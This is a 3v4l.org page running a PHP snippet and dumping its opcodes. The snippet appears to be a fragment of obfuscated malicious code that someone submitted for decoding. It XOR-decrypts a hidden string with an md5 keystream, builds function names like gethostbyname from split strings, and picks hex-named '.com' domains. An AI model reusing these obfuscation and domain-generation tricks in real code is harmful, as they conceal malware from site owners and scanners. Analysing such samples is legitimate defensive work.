3v4l.org

run code in 300+ PHP versions simultaneously
<?php /* $domarr = array("33db9538","9507c4e8","e5b57288","54dfa1cb"); echo random($domarr,".com"); */ function en2($s, $q) { $l="strlen"; $p="pack"; $r="substr"; $m="md5"; $g = ""; while ($l($g)<$l($s)) { $q = $p("H*",$m($g.$q."q1w2e3r4")); $g.=$r($q,0,8); } return $s^$g; } function random($arr,$qw) { $w="gethost"; $qq="-dn"; $r="byname"; $wq="tat"; $s="s"; $g="gethostbyname"; $m="md5"; $sq="str_split"; en2("0?kgwLX371\23\5z62e2:Wn0@l.1?\4j64A403{3\5S1'\13","str_replace"); return $arr[rand((0.24-(0.03*8)),(0.1875*6))].$qw; } echo en2("0?kgwLX371\23\5z62e2:Wn0@l.1?\4j64A403{3\5S1'\13","str_replace");
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/KJYge
function name:  (null)
number of ops:  6
compiled vars:  none
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   33     0  E >   INIT_FCALL                                               'en2'
          1        SEND_VAL                                                 '0%3FkgwLX371%13%05z62e2%3AWn0%40l.1%3F%04j64A403%7B3%05S1%27%0B'
          2        SEND_VAL                                                 'str_replace'
          3        DO_FCALL                                      0  $0      
          4        ECHO                                                     $0
          5      > RETURN                                                   1

Function en2:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 42) Position 1 = 24
Branch analysis from position: 24
2 jumps found. (Code = 44) Position 1 = 32, Position 2 = 8
Branch analysis from position: 32
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 8
2 jumps found. (Code = 44) Position 1 = 32, Position 2 = 8
Branch analysis from position: 32
Branch analysis from position: 8
filename:       /in/KJYge
function name:  en2
number of ops:  35
compiled vars:  !0 = $s, !1 = $q, !2 = $l, !3 = $p, !4 = $r, !5 = $m, !6 = $g
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    7     0  E >   RECV                                             !0      
          1        RECV                                             !1      
    8     2        ASSIGN                                                   !2, 'strlen'
    9     3        ASSIGN                                                   !3, 'pack'
   10     4        ASSIGN                                                   !4, 'substr'
   11     5        ASSIGN                                                   !5, 'md5'
   12     6        ASSIGN                                                   !6, ''
   13     7      > JMP                                                      ->24
   14     8    >   INIT_DYNAMIC_CALL                                        !3
          9        SEND_VAL_EX                                              'H%2A'
         10        INIT_DYNAMIC_CALL                                        !5
         11        CONCAT                                           ~12     !6, !1
         12        CONCAT                                           ~13     ~12, 'q1w2e3r4'
         13        SEND_VAL_EX                                              ~13
         14        DO_FCALL                                      0  $14     
         15        SEND_VAR_NO_REF_EX                                       $14
         16        DO_FCALL                                      0  $15     
         17        ASSIGN                                                   !1, $15
   15    18        INIT_DYNAMIC_CALL                                        !4
         19        SEND_VAR_EX                                              !1
         20        SEND_VAL_EX                                              0
         21        SEND_VAL_EX                                              8
         22        DO_FCALL                                      0  $17     
         23        ASSIGN_OP                                     8          !6, $17
   13    24    >   INIT_DYNAMIC_CALL                                        !2
         25        SEND_VAR_EX                                              !6
         26        DO_FCALL                                      0  $19     
         27        INIT_DYNAMIC_CALL                                        !2
         28        SEND_VAR_EX                                              !0
         29        DO_FCALL                                      0  $20     
         30        IS_SMALLER                                               $19, $20
         31      > JMPNZ                                                    ~21, ->8
   17    32    >   BW_XOR                                           ~22     !0, !6
         33      > RETURN                                                   ~22
   18    34*     > RETURN                                                   null

End of function en2

Function random:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/KJYge
function name:  random
number of ops:  22
compiled vars:  !0 = $arr, !1 = $qw, !2 = $w, !3 = $qq, !4 = $r, !5 = $wq, !6 = $s, !7 = $g, !8 = $m, !9 = $sq
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   20     0  E >   RECV                                             !0      
          1        RECV                                             !1      
   21     2        ASSIGN                                                   !2, 'gethost'
   22     3        ASSIGN                                                   !3, '-dn'
   23     4        ASSIGN                                                   !4, 'byname'
   24     5        ASSIGN                                                   !5, 'tat'
   25     6        ASSIGN                                                   !6, 's'
   26     7        ASSIGN                                                   !7, 'gethostbyname'
   27     8        ASSIGN                                                   !8, 'md5'
   28     9        ASSIGN                                                   !9, 'str_split'
   30    10        INIT_FCALL                                               'en2'
         11        SEND_VAL                                                 '0%3FkgwLX371%13%05z62e2%3AWn0%40l.1%3F%04j64A403%7B3%05S1%27%0B'
         12        SEND_VAL                                                 'str_replace'
         13        DO_FCALL                                      0          
   31    14        INIT_FCALL                                               'rand'
         15        SEND_VAL                                                 0
         16        SEND_VAL                                                 1.125
         17        DO_ICALL                                         $19     
         18        FETCH_DIM_R                                      ~20     !0, $19
         19        CONCAT                                           ~21     ~20, !1
         20      > RETURN                                                   ~21
   32    21*     > RETURN                                                   null

End of function random

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
169.37 ms | 1402 KiB | 17 Q